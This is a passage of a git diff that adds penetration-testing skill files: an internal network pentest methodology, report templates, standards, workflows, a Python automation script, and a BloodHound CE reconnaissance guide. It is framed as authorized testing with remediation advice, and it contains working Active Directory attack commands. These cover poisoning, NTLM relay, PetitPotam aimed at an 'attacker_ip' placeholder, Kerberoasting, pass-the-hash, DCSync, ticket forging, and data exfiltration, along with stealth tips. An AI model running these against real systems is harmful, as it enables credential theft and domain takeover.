10.0.0.1 -oG internal_hosts.gnmap +nmap -sn 172.16.0.0/12 -oG internal_hosts_172.gnmap +nmap -sn 192.168.0.0/16 -oG internal_hosts_192.gnmap + +# Extract live hosts +grep "Status: Up" internal_hosts.gnmap | awk '{print $2}' > live_hosts.txt + +# Port scan live hosts — top 1000 ports +nmap -sS -sV -T4 -iL live_hosts.txt -oA internal_tcp_scan + +# Service-specific scans +nmap -p 445 --open -iL live_hosts.txt -oG smb_hosts.gnmap +nmap -p 3389 --open -iL live_hosts.txt -oG rdp_hosts.gnmap +nmap -p 22 --open -iL live_hosts.txt -oG ssh_hosts.gnmap +nmap -p 1433,3306,5432,1521,27017 --open -iL live_hosts.txt -oG db_hosts.gnmap +``` + +### Active Directory Enumeration + +```bash +# Enumerate domain information with domain credentials +# Using CrackMapExec / NetExec +netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --shares +netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --users +netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --groups + +# LDAP enumeration +ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \ + -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf + +# Enumerate Group Policy Objects +netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords +netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --lsa + +# BloodHound data collection +bloodhound-python -u 'testuser' -p 'Password123' -d corp.local -ns 10.0.0.5 -c all +# Import JSON files into BloodHound GUI for attack path analysis + +# Enum4linux-ng for legacy enumeration +enum4linux-ng -A 10.0.0.5 -u 'testuser' -p 'Password123' +``` + +### Network Service Enumeration + +```bash +# SMB share enumeration +smbclient -L //10.0.0.10 -U 'testuser%Password123' +smbmap -H 10.0.0.10 -u 'testuser' -p 'Password123' -R + +# SNMP enumeration +snmpwalk -v2c -c public 10.0.0.1 + +# DNS zone transfer attempt +dig axfr corp.local @10.0.0.5 + +# NFS enumeration +showmount -e 10.0.0.15 + +# MSSQL enumeration +impacket-mssqlclient 'corp.local/testuser:Password123@10.0.0.20' -windows-auth +``` + +## Phase 2 — Credential Attacks + +### Network Credential Capture + +```bash +# Responder — LLMNR/NBT-NS/mDNS poisoning +sudo responder -I eth0 -dwPv + +# Capture NTLMv2 hashes from Responder logs +cat /usr/share/responder/logs/NTLMv2-*.txt + +# mitm6 — IPv6 DNS takeover +sudo mitm6 -d corp.local + +# ntlmrelayx — relay captured credentials +impacket-ntlmrelayx -tf smb_targets.txt -smb2support -socks + +# PetitPotam — coerce NTLM authentication +python3 PetitPotam.py -u 'testuser' -p 'Password123' -d corp.local \ + attacker_ip 10.0.0.5 +``` + +### Password Attacks + +```bash +# Crack captured NTLMv2 hashes +hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \ + -r /usr/share/hashcat/rules/best64.rule + +# Password spraying (careful with lockout policies) +netexec smb 10.0.0.5 -u users.txt -p 'Spring2025!' --no-bruteforce +netexec smb 10.0.0.5 -u users.txt -p 'Company2025!' --no-bruteforce + +# Kerberoasting — target service accounts +impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \ + -outputfile kerberoast_hashes.txt +hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt + +# AS-REP Roasting — target accounts without pre-auth +impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \ + -outputfile asrep_hashes.txt +hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt +``` + +## Phase 3 — Exploitation and Lateral Movement + +### Lateral Movement Techniques + +```bash +# Pass-the-Hash with Impacket +impacket-psexec 'corp.local/admin@10.0.0.30' -hashes :aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b + +# WMI execution +impacket-wmiexec 'corp.local/admin:AdminPass123@10.0.0.30' + +# Evil-WinRM for PowerShell remoting +evil-winrm -i 10.0.0.30 -u admin -p 'AdminPass123' + +# SMBExec +impacket-smbexec 'corp.local/admin:AdminPass123@10.0.0.30' + +# RDP access +xfreerdp /v:10.0.0.30 /u:admin /p:'AdminPass123' /cert-ignore /dynamic-resolution + +# SSH pivoting +ssh -D 9050 user@10.0.0.40 +proxychains nmap -sT -p 80,443,445,3389 10.10.0.0/24 +``` + +### Privilege Escalation + +```bash +# Windows privilege escalation +# Check for local admin via token impersonation +meterpreter> getsystem +meterpreter> run post/multi/recon/local_exploit_suggester + +# PowerShell-based privesc checks +# Run PowerUp +powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks" + +# Check for unquoted service paths +wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v """ + +# Linux privilege escalation +./linpeas.sh +sudo -l +find / -perm -4000 -type f 2>/dev/null +cat /etc/crontab +``` + +### Domain Escalation + +```bash +# DCSync attack (requires replication rights) +impacket-secretsdump 'corp.local/domainadmin:DaPass123@10.0.0.5' -just-dc + +# Golden Ticket attack +impacket-ticketer -nthash -domain-sid S-1-5-21-... -domain corp.local administrator + +# Silver Ticket attack +impacket-ticketer -nthash -domain-sid S-1-5-21-... \ + -domain corp.local -spn MSSQL/db01.corp.local administrator + +# ADCS exploitation (Certifried, ESC1-ESC8) +certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 +certipy req -u 'testuser@corp.local' -p 'Password123' -target ca01.corp.local \ + -template VulnerableTemplate -ca CORP-CA -upn administrator@corp.local +``` + +## Phase 4 — Data Access and Impact Demonstration + +```bash +# Access sensitive file shares +smbclient //10.0.0.10/Finance -U 'domainadmin%DaPass123' +> dir +> get Q4_Financial_Report.xlsx + +# Database access +impacket-mssqlclient 'sa:DbPassword123@10.0.0.20' +SQL> SELECT name FROM sys.databases; +SQL> SELECT TOP 10 * FROM customers; + +# Extract proof of access (DO NOT exfiltrate real data) +echo "PENTEST-PROOF-INTERNAL-$(date +%Y%m%d)" > /tmp/proof.txt + +# Document access chain +# Initial Access -> Responder -> NTLMv2 crack -> Lateral to WS01 +# -> Local admin -> Mimikatz -> DA creds -> DCSync -> Full domain compromise +``` + +## Phase 5 — Reporting + +### Attack Path Documentation + +``` +Attack Path 1: Domain Compromise via LLMNR Poisoning + Step 1: LLMNR/NBT-NS poisoning captured NTLMv2 hash (T1557.001) + Step 2: Hash cracked offline — user: jsmith, password: Welcome2025! + Step 3: jsmith had local admin on WS042 — lateral movement via PsExec (T1021.002) + Step 4: Mimikatz extracted DA credentials from WS042 memory (T1003.001) + Step 5: DCSync with DA credentials — all domain hashes extracted (T1003.006) + Impact: Complete domain compromise from unauthenticated network position +``` + +### Findings Severity Matrix + +| Finding | CVSS | MITRE ATT&CK | Remediation | +|---------|------|---------------|-------------| +| LLMNR/NBT-NS poisoning | 8.1 | T1557.001 | Disable LLMNR/NBT-NS via GPO | +| Kerberoastable service accounts | 7.5 | T1558.003 | Use gMSA, 25+ char passwords | +| Local admin reuse | 8.4 | T1078 | Deploy LAPS, unique local admin passwords | +| Weak domain passwords | 7.2 | T1110 | Enforce 14+ char minimum, blacklist common passwords | +| Unrestricted DCSync | 9.8 | T1003.006 | Audit replication rights, implement tiered admin model | + +## Tools Reference + +| Tool | Purpose | +|------|---------| +| Responder | LLMNR/NBT-NS/mDNS poisoning | +| Impacket | AD attack suite (secretsdump, psexec, wmiexec, etc.) | +| BloodHound | AD attack path visualization | +| NetExec (CrackMapExec) | Network service enumeration and spraying | +| Evil-WinRM | PowerShell remoting client | +| Certipy | AD Certificate Services exploitation | +| Mimikatz | Windows credential extraction | +| Hashcat | Password hash cracking | +| Nmap | Network scanning and enumeration | +| LinPEAS/WinPEAS | Privilege escalation enumeration | + +## References + +- Cobalt Internal Network Pentesting Methodology: https://docs.cobalt.io/methodologies/internal-network/ +- MITRE ATT&CK Enterprise: https://attack.mitre.org/matrices/enterprise/ +- PTES: http://www.pentest-standard.org/ +- Impacket: https://github.com/fortra/impacket +- BloodHound: https://github.com/BloodHoundAD/BloodHound diff --git a/skills/conducting-internal-network-penetration-test/assets/template.md b/skills/conducting-internal-network-penetration-test/assets/template.md new file mode 100644 index 00000000..ca932406 --- /dev/null +++ b/skills/conducting-internal-network-penetration-test/assets/template.md @@ -0,0 +1,61 @@ +# Internal Network Penetration Test — Report Template + +## Document Control + +| Field | Value | +|-------|-------| +| Client | [Client Name] | +| Assessment Type | Internal Network Penetration Test | +| Access Model | Assumed Breach / Unauthenticated | +| Test Period | [Start] — [End] | +| Classification | CONFIDENTIAL | + +--- + +## 1. Executive Summary + +### Scope +- **Subnet(s):** [Internal ranges] +- **Domain:** [AD domain] +- **Starting Position:** [Network drop location / VPN / credentials provided] + +### Key Findings + +| Severity | Count | Example | +|----------|-------|---------| +| Critical | [N] | Domain compromise via credential relay | +| High | [N] | Kerberoastable service accounts with weak passwords | +| Medium | [N] | SMB signing disabled on file servers | +| Low | [N] | Excessive share permissions | + +### Attack Path Summary +[Describe the primary attack chain from initial access to domain compromise] + +--- + +## 2. Technical Findings + +### Finding [N]: [Title] + +| Attribute | Detail | +|-----------|--------| +| Severity | [Critical/High/Medium/Low] | +| CVSS v3.1 | [Score] | +| MITRE ATT&CK | [Technique ID] | +| Affected Assets | [Hosts/accounts] | + +**Description:** [Details] +**Steps to Reproduce:** [Steps] +**Evidence:** [Screenshots/logs] +**Remediation:** [Fix] + +--- + +## 3. Recommendations Priority + +| Priority | Action | Timeline | +|----------|--------|----------| +| P1 | Disable LLMNR/NBT-NS, enable SMB signing | 1 week | +| P2 | Deploy LAPS, implement tiered admin | 30 days | +| P3 | Enforce strong password policy | 30 days | +| P4 | Review share permissions | 60 days | diff --git a/skills/conducting-internal-network-penetration-test/references/standards.md b/skills/conducting-internal-network-penetration-test/references/standards.md new file mode 100644 index 00000000..97c4ce01 --- /dev/null +++ b/skills/conducting-internal-network-penetration-test/references/standards.md @@ -0,0 +1,29 @@ +# Standards — Internal Network Penetration Testing + +## Frameworks +- PTES: http://www.pentest-standard.org/ +- OSSTMM v3: https://www.isecom.org/OSSTMM.3.pdf +- NIST SP 800-115: https://csrc.nist.gov/publications/detail/sp/800-115/final +- MITRE ATT&CK Enterprise: https://attack.mitre.org/matrices/enterprise/ + +## Key MITRE ATT&CK Techniques for Internal Testing + +| Tactic | Technique | ID | +|--------|-----------|----| +| Discovery | Network Service Discovery | T1046 | +| Credential Access | LLMNR/NBT-NS Poisoning | T1557.001 | +| Credential Access | Kerberoasting | T1558.003 | +| Credential Access | OS Credential Dumping | T1003 | +| Lateral Movement | Remote Services: SMB | T1021.002 | +| Lateral Movement | Pass the Hash | T1550.002 | +| Privilege Escalation | Domain Policy Modification | T1484 | +| Collection | Data from Network Shared Drive | T1039 | + +## Compliance Requirements + +| Standard | Internal Pentest Requirement | +|----------|----------------------------| +| PCI DSS v4.0 | Req 11.4.2 — Internal penetration testing annually | +| ISO 27001 | A.18.2.3 — Technical compliance review | +| SOC 2 | CC7.1 — Detection and monitoring | +| NIST CSF | PR.IP-12, DE.CM | diff --git a/skills/conducting-internal-network-penetration-test/references/workflows.md b/skills/conducting-internal-network-penetration-test/references/workflows.md new file mode 100644 index 00000000..6de9b952 --- /dev/null +++ b/skills/conducting-internal-network-penetration-test/references/workflows.md @@ -0,0 +1,51 @@ +# Workflows — Internal Network Penetration Testing + +## Attack Flow + +``` +Network Access (Ethernet/VPN) + │ + ├── Network Discovery (Nmap, ARP scan) + │ + ├── Credential Capture (Responder, mitm6) + │ │ + │ └── Hash Cracking (Hashcat) + │ + ├── AD Enumeration (BloodHound, LDAP) + │ │ + │ ├── Kerberoasting + │ ├── AS-REP Roasting + │ └── GPP Password Extraction + │ + ├── Lateral Movement (PsExec, WMI, WinRM) + │ │ + │ └── Credential Harvesting (Mimikatz, LSASS dump) + │ + ├── Privilege Escalation + │ │ + │ ├── Local (unquoted paths, token impersonation) + │ └── Domain (DCSync, Golden Ticket, ADCS) + │ + └── Impact Demonstration + ├── Sensitive data access + ├── Domain compromise proof + └── Attack path documentation +``` + +## Evidence Collection Workflow + +``` +evidence/ +├── credentials/ +│ ├── responder_captures/ +│ ├── cracked_hashes/ +│ └── dumped_creds/ +├── screenshots/ +├── bloodhound/ +│ └── domain_data.json +├── scan_results/ +│ ├── nmap/ +│ └── shares/ +└── attack_paths/ + └── path_documentation.md +``` diff --git a/skills/conducting-internal-network-penetration-test/scripts/process.py b/skills/conducting-internal-network-penetration-test/scripts/process.py new file mode 100644 index 00000000..16629df3 --- /dev/null +++ b/skills/conducting-internal-network-penetration-test/scripts/process.py @@ -0,0 +1,232 @@ +#!/usr/bin/env python3 +""" +Internal Network Penetration Test — Automation Process + +Automates network discovery, AD enumeration, and reporting for internal pentests. +Requires: nmap, netexec, ldap3, bloodhound-python. + +Usage: + python process.py --subnet 10.0.0.0/24 --domain corp.local --dc-ip 10.0.0.5 --output ./results +""" + +import subprocess +import json +import os +import sys +import argparse +import socket +import datetime +from pathlib import Path +from typing import Optional + + +def run_command(cmd: list[str], timeout: int = 300) -> tuple[str, str, int]: + """Execute a shell command and return stdout, stderr, return code.""" + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + return result.stdout, result.stderr, result.returncode + except subprocess.TimeoutExpired: + return "", f"Command timed out after {timeout}s", -1 + except FileNotFoundError: + return "", f"Command not found: {cmd[0]}", -1 + + +def discover_hosts(subnet: str, output_dir: Path) -> list[str]: + """Discover live hosts on the internal network.""" + print(f"[*] Discovering live hosts on {subnet}...") + output_file = output_dir / "host_discovery" + + stdout, stderr, rc = run_command( + ["nmap", "-sn", subnet, "-oA", str(output_file)], timeout=600 + ) + + live_hosts = [] + gnmap = f"{output_file}.gnmap" + if os.path.exists(gnmap): + with open(gnmap) as f: + for line in f: + if "Status: Up" in line: + ip = line.split(" ")[1] + live_hosts.append(ip) + + hosts_file = output_dir / "live_hosts.txt" + with open(hosts_file, "w") as f: + f.write("\n".join(live_hosts)) + + print(f"[+] Found {len(live_hosts)} live hosts") + return live_hosts + + +def port_scan(hosts_file: str, output_dir: Path) -> dict: + """Run port scan against discovered hosts.""" + print("[*] Running port scan on live hosts...") + output_prefix = str(output_dir / "port_scan") + + stdout, stderr, rc = run_command( + ["nmap", "-sS", "-sV", "-T4", "--top-ports", "1000", + "-iL", hosts_file, "-oA", output_prefix], + timeout=3600 + ) + + return {"output_prefix": output_prefix, "return_code": rc} + + +def enumerate_smb_shares(hosts: list[str], username: str, password: str, + domain: str, output_dir: Path) -> list[dict]: + """Enumerate SMB shares across internal hosts.""" + print("[*] Enumerating SMB shares...") + results = [] + + for host in hosts: + stdout, stderr, rc = run_command( + ["netexec", "smb", host, "-u", username, "-p", password, + "-d", domain, "--shares"], + timeout=30 + ) + if rc == 0 and stdout: + results.append({"host": host, "output": stdout}) + + output_file = output_dir / "smb_shares.json" + with open(output_file, "w") as f: + json.dump(results, f, indent=2) + + print(f"[+] Enumerated shares on {len(results)} hosts") + return results + + +def check_smb_signing(hosts: list[str], output_dir: Path) -> list[dict]: + """Check SMB signing status on discovered hosts.""" + print("[*] Checking SMB signing status...") + results = [] + + for host in hosts: + stdout, stderr, rc = run_command( + ["netexec", "smb", host, "--gen-relay-list", + str(output_dir / "relay_targets.txt")], + timeout=30 + ) + if "signing:False" in stdout: + results.append({"host": host, "smb_signing": False}) + elif "signing:True" in stdout: + results.append({"host": host, "smb_signing": True}) + + output_file = output_dir / "smb_signing.json" + with open(output_file, "w") as f: + json.dump(results, f, indent=2) + + unsigned = [r for r in results if not r.get("smb_signing")] + print(f"[+] Found {len(unsigned)} hosts without SMB signing") + return results + + +def run_bloodhound_collection(username: str, password: str, + domain: str, dc_ip: str, + output_dir: Path) -> str: + """Run BloodHound data collection.""" + print("[*] Running BloodHound collection...") + stdout, stderr, rc = run_command( + ["bloodhound-python", "-u", username, "-p", password, + "-d", domain, "-ns", dc_ip, "-c", "all", + "--output-prefix", str(output_dir / "bloodhound")], + timeout=600 + ) + + if rc == 0: + print("[+] BloodHound data collected successfully") + else: + print(f"[-] BloodHound collection issue: {stderr[:200]}") + + return str(output_dir) + + +def check_password_policy(domain: str, dc_ip: str, username: str, + password: str) -> dict: + """Retrieve domain password policy.""" + print("[*] Retrieving domain password policy...") + stdout, stderr, rc = run_command( + ["netexec", "smb", dc_ip, "-u", username, "-p", password, + "-d", domain, "--pass-pol"], + timeout=30 + ) + + return {"output": stdout, "return_code": rc} + + +def generate_report(live_hosts: list[str], smb_results: list[dict], + signing_results: list[dict], output_dir: Path) -> str: + """Generate internal pentest summary report.""" + print("[*] Generating report...") + report_file = output_dir / "internal_pentest_report.md" + timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC") + + with open(report_file, "w") as f: + f.write("# Internal Network Penetration Test Report\n\n") + f.write(f"**Generated:** {timestamp}\n\n---\n\n") + + f.write("## Network Discovery\n\n") + f.write(f"Total live hosts: **{len(live_hosts)}**\n\n") + + f.write("## SMB Share Analysis\n\n") + f.write(f"Hosts with accessible shares: **{len(smb_results)}**\n\n") + + f.write("## SMB Signing Status\n\n") + unsigned = [r for r in signing_results if not r.get("smb_signing")] + f.write(f"Hosts without SMB signing: **{len(unsigned)}** (vulnerable to relay)\n\n") + if unsigned: + f.write("| Host | SMB Signing |\n|------|------------|\n") + for r in unsigned: + f.write(f"| {r['host']} | Disabled |\n") + f.write("\n") + + f.write("## Recommendations\n\n") + f.write("1. Enable SMB signing on all domain-joined systems via GPO\n") + f.write("2. Disable LLMNR and NBT-NS across the domain\n") + f.write("3. Implement LAPS for unique local admin passwords\n") + f.write("4. Deploy tiered admin model for Active Directory\n") + f.write("5. Enforce strong password policy (14+ characters)\n") + f.write("6. Use Group Managed Service Accounts (gMSA)\n\n") + + print(f"[+] Report generated: {report_file}") + return str(report_file) + + +def main(): + parser = argparse.ArgumentParser(description="Internal Network Pentest Automation") + parser.add_argument("--subnet", required=True, help="Target subnet (CIDR)") + parser.add_argument("--domain", required=True, help="AD domain name") + parser.add_argument("--dc-ip", required=True, help="Domain controller IP") + parser.add_argument("--username", default="", help="Domain username") + parser.add_argument("--password", default="", help="Domain password") + parser.add_argument("--output", default="./results", help="Output directory") + args = parser.parse_args() + + output_dir = Path(args.output) + output_dir.mkdir(parents=True, exist_ok=True) + + print("=" * 60) + print(" Internal Network Penetration Test") + print(f" Subnet: {args.subnet}") + print(f" Domain: {args.domain}") + print("=" * 60) + + live_hosts = discover_hosts(args.subnet, output_dir) + port_scan(str(output_dir / "live_hosts.txt"), output_dir) + + smb_results = [] + signing_results = check_smb_signing(live_hosts[:50], output_dir) + + if args.username and args.password: + smb_results = enumerate_smb_shares( + live_hosts[:50], args.username, args.password, args.domain, output_dir + ) + run_bloodhound_collection( + args.username, args.password, args.domain, args.dc_ip, output_dir + ) + check_password_policy(args.domain, args.dc_ip, args.username, args.password) + + generate_report(live_hosts, smb_results, signing_results, output_dir) + print("\n[+] Internal pentest automation complete") + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-internal-reconnaissance-with-bloodhound-ce/SKILL.md b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/SKILL.md new file mode 100644 index 00000000..4ac9c312 --- /dev/null +++ b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/SKILL.md @@ -0,0 +1,158 @@ +--- +name: conducting-internal-reconnaissance-with-bloodhound-ce +description: Conduct internal Active Directory reconnaissance using BloodHound Community Edition to map attack paths, identify privilege escalation chains, and discover misconfigurations in domain environments. +domain: cybersecurity +subdomain: red-teaming +tags: [red-team, reconnaissance, bloodhound, active-directory, attack-paths, privilege-escalation, graph-analysis] +version: "1.0" +author: mahipal +license: MIT +--- +# Conducting Internal Reconnaissance with BloodHound CE + +## Overview + +BloodHound Community Edition (CE) is a modern, web-based Active Directory reconnaissance platform developed by SpecterOps that uses graph theory to reveal hidden relationships and attack paths within AD environments. Unlike the legacy BloodHound application, BloodHound CE uses a PostgreSQL backend with a dedicated graph database, providing improved performance, a modern web UI, and enhanced API capabilities. Red teams use BloodHound CE to collect AD objects, ACLs, sessions, group memberships, and trust relationships, then visualize attack paths from compromised low-privileged accounts to high-value targets like Domain Admins. The SharpHound collector (v2 for CE) gathers data from Active Directory, while AzureHound collects from Azure AD / Entra ID environments. + +## Objectives + +- Deploy BloodHound CE server using Docker Compose +- Collect AD data using SharpHound v2 or BloodHound.py +- Import collected data into BloodHound CE for graph analysis +- Identify shortest attack paths from owned principals to Domain Admins +- Discover ACL-based attack paths, Kerberoastable accounts, and delegation abuse +- Execute custom Cypher queries for advanced attack path analysis +- Generate attack path reports for engagement documentation + +## MITRE ATT&CK Mapping + +- **T1087.002** - Account Discovery: Domain Account +- **T1069.002** - Permission Groups Discovery: Domain Groups +- **T1482** - Domain Trust Discovery +- **T1615** - Group Policy Discovery +- **T1018** - Remote System Discovery +- **T1033** - System Owner/User Discovery +- **T1016** - System Network Configuration Discovery + +## Implementation Steps + +### Phase 1: BloodHound CE Deployment +1. Deploy BloodHound CE using Docker Compose: + ```bash + curl -L https://ghst.ly/getbhce -o docker-compose.yml + docker compose pull + docker compose up -d + ``` +2. Access the web interface at https://localhost:8080 +3. Log in with the default admin credentials (displayed in Docker logs): + ```bash + docker compose logs | grep "Initial Password" + ``` +4. Change the default admin password immediately + +### Phase 2: Data Collection with SharpHound v2 +1. Transfer SharpHound v2 to the compromised Windows host: + ```powershell + # Execute full collection + .\SharpHound.exe -c All --outputdirectory C:\Temp + + # DCOnly collection (LDAP only, stealthier) + .\SharpHound.exe -c DCOnly + + # Session collection for logged-on user mapping + .\SharpHound.exe -c Session --loop --loopduration 02:00:00 + + # Collect from specific domain + .\SharpHound.exe -c All -d child.domain.local + ``` +2. Alternative: Use BloodHound.py from Linux: + ```bash + bloodhound-python -u user -p 'Password123' -d domain.local -ns 10.10.10.1 -c All + ``` +3. Exfiltrate the generated ZIP file to the analysis workstation + +### Phase 3: Data Import and Initial Analysis +1. Upload collected data via the BloodHound CE web interface (File Ingest) +2. Mark compromised accounts as "Owned" in the interface +3. Run built-in analysis queries: + - Shortest Path to Domain Admin + - Kerberoastable Users with Path to DA + - AS-REP Roastable Users + - Users with DCSync Rights + - Computers with Unconstrained Delegation + +### Phase 4: Custom Cypher Queries +1. Execute custom Cypher queries in the BloodHound CE search bar: + ```cypher + // Find shortest path from owned principals to Domain Admins + MATCH p=shortestPath((n {owned:true})-[*1..]->(m:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) + RETURN p + + // Find Kerberoastable users with path to DA + MATCH (u:User {hasspn:true}) + MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) + RETURN p + + // Find computers with sessions of DA members + MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}) + RETURN c.name, u.name + + // Find ACL-based attack paths (GenericAll, WriteDACL, GenericWrite) + MATCH p=(u:User)-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword*1..]->(t) + WHERE u.owned = true + RETURN p + + // Find users who can DCSync + MATCH (u)-[:MemberOf*0..]->()-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain) + RETURN u.name, d.name + + // Find computers with LAPS but readable by non-admins + MATCH (c:Computer {haslaps:true}) + MATCH p=(u:User)-[:ReadLAPSPassword]->(c) + RETURN p + ``` + +### Phase 5: Attack Path Prioritization +1. Score identified attack paths by: + - Number of hops (shorter = higher priority) + - Stealth requirements (avoid noisy techniques) + - Tool availability for each hop + - Likelihood of detection at each step +2. Create an execution plan for the highest-priority paths +3. Identify required tools for each step in the chain +4. Plan OPSEC considerations for each technique + +## Tools and Resources + +| Tool | Purpose | Platform | +|------|---------|----------| +| BloodHound CE | Web-based graph analysis platform | Docker | +| SharpHound v2 | AD data collection (.NET, for CE) | Windows | +| BloodHound.py | AD data collection (Python) | Linux | +| AzureHound | Azure AD / Entra ID data collection | Cross-platform | +| PlumHound | Automated BloodHound reporting | Python | +| BloodHound Query Library | Community Cypher query repository | Web | + +## Key Attack Path Types + +| Path Type | Description | Example | +|-----------|-------------|---------| +| ACL Abuse | Exploit misconfigured ACLs | GenericAll on DA group | +| Kerberoasting | Crack service account passwords | SPN account → DA | +| AS-REP Roasting | Attack accounts without pre-auth | No-preauth user → password crack | +| Delegation Abuse | Exploit unconstrained/constrained delegation | Computer → impersonate DA | +| GPO Abuse | Modify GPOs applied to privileged OUs | GPO write → code execution on DA | +| Session Hijack | Leverage DA sessions on compromised hosts | Admin session → token theft | + +## Validation Criteria + +- [ ] BloodHound CE deployed and accessible +- [ ] SharpHound v2 data collected from all domains in scope +- [ ] Data successfully imported into BloodHound CE +- [ ] Owned principals marked in the interface +- [ ] Shortest paths to Domain Admin identified +- [ ] ACL-based attack paths documented +- [ ] Kerberoastable and AS-REP roastable accounts listed +- [ ] Custom Cypher queries executed for advanced analysis +- [ ] Attack paths prioritized by feasibility and stealth +- [ ] Report generated with all identified paths and evidence diff --git a/skills/conducting-internal-reconnaissance-with-bloodhound-ce/assets/template.md b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/assets/template.md new file mode 100644 index 00000000..41075786 --- /dev/null +++ b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/assets/template.md @@ -0,0 +1,49 @@ +# BloodHound CE Reconnaissance Report Template + +## Engagement Details + +| Field | Value | +|-------|-------| +| Engagement Name | | +| Target Domain(s) | | +| Collection Date | | +| BloodHound CE Version | | +| SharpHound Version | | + +## Collection Summary + +| Metric | Count | +|--------|-------| +| Users | | +| Computers | | +| Groups | | +| GPOs | | +| OUs | | +| Domains | | +| Trusts | | +| Sessions | | + +## Attack Paths Identified + +| # | Path Description | Hops | Start Node | End Node | Risk | +|---|-----------------|------|------------|----------|------| +| 1 | | | | Domain Admins | | +| 2 | | | | Domain Admins | | + +## High-Value Findings + +| Finding | Count | Details | +|---------|-------|---------| +| Kerberoastable Users | | | +| AS-REP Roastable Users | | | +| Unconstrained Delegation | | | +| Users with DCSync Rights | | | +| Unsupported OS | | | + +## Remediation Priority + +| # | Finding | Remediation | Priority | +|---|---------|-------------|----------| +| 1 | | | Critical | +| 2 | | | High | +| 3 | | | Medium | diff --git a/skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/standards.md b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/standards.md new file mode 100644 index 00000000..aa405e1a --- /dev/null +++ b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/standards.md @@ -0,0 +1,27 @@ +# Standards and References - BloodHound CE Reconnaissance + +## MITRE ATT&CK References + +| Technique ID | Name | Tactic | +|-------------|------|--------| +| T1087.002 | Account Discovery: Domain Account | Discovery | +| T1069.002 | Permission Groups Discovery: Domain Groups | Discovery | +| T1482 | Domain Trust Discovery | Discovery | +| T1615 | Group Policy Discovery | Discovery | +| T1018 | Remote System Discovery | Discovery | +| T1033 | System Owner/User Discovery | Discovery | +| T1016 | System Network Configuration Discovery | Discovery | + +## Official Resources + +- BloodHound CE: https://github.com/SpecterOps/BloodHound +- SharpHound: https://github.com/BloodHoundAD/SharpHound +- BloodHound.py: https://github.com/dirkjanm/BloodHound.py +- BloodHound Query Library: https://queries.specterops.io/ +- AzureHound: https://github.com/BloodHoundAD/AzureHound + +## Key Research + +- SpecterOps: An Ace in the Hole - Stealthy Data Collection with BloodHound +- Compass Security: BloodHound Community Edition Custom Queries (2025) +- SpecterOps: Introducing the BloodHound Query Library (2025) diff --git a/skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/workflows.md b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/workflows.md new file mode 100644 index 00000000..71a56c98 --- /dev/null +++ b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/workflows.md @@ -0,0 +1,58 @@ +# Workflows - BloodHound CE Reconnaissance + +## Complete Reconnaissance Workflow + +``` +1. Deployment + ├── Pull BloodHound CE Docker images + ├── Start services with docker compose up -d + ├── Access web UI and set admin password + └── Verify API connectivity + +2. Data Collection + ├── Choose collector: SharpHound v2 (Windows) or BloodHound.py (Linux) + ├── Run All collection method for comprehensive data + ├── Run Session collection in loop for user mapping + ├── Collect from all reachable domains + └── Exfiltrate ZIP data to analysis workstation + +3. Import and Setup + ├── Upload ZIP files via BloodHound CE web interface + ├── Wait for data processing to complete + ├── Mark owned/compromised principals + └── Set high-value targets + +4. Analysis + ├── Run built-in attack path queries + ├── Execute custom Cypher queries + ├── Identify ACL abuse opportunities + ├── Map delegation configurations + ├── Find Kerberoastable / AS-REP roastable accounts + └── Discover GPO modification paths + +5. Attack Planning + ├── Prioritize paths by hop count and stealth + ├── Identify tools needed per hop + ├── Plan OPSEC for each technique + └── Document execution plan + +6. Reporting + ├── Export graph visualizations + ├── Generate path summaries + ├── Document all findings with evidence + └── Provide remediation recommendations +``` + +## Stealthy Collection Workflow + +``` +Low-Noise Collection: + 1. DCOnly mode: Only queries domain controllers via LDAP + SharpHound.exe -c DCOnly + + 2. Targeted collection: Specific container/OU + SharpHound.exe -c All --searchbase "OU=Servers,DC=domain,DC=local" + + 3. Session loop: Passive session enumeration over time + SharpHound.exe -c Session --loop --loopduration 04:00:00 --loopinterval 00:05:00 +``` diff --git a/skills/conducting-internal-reconnaissance-with-bloodhound-ce/scripts/process.py b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/scripts/process.py new file mode 100644 index 00000000..794cddf8 --- /dev/null +++ b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/scripts/process.py @@ -0,0 +1,211 @@ +#!/usr/bin/env python3 +""" +BloodHound CE Attack Path Analysis Script + +Processes BloodHound CE data exports and generates 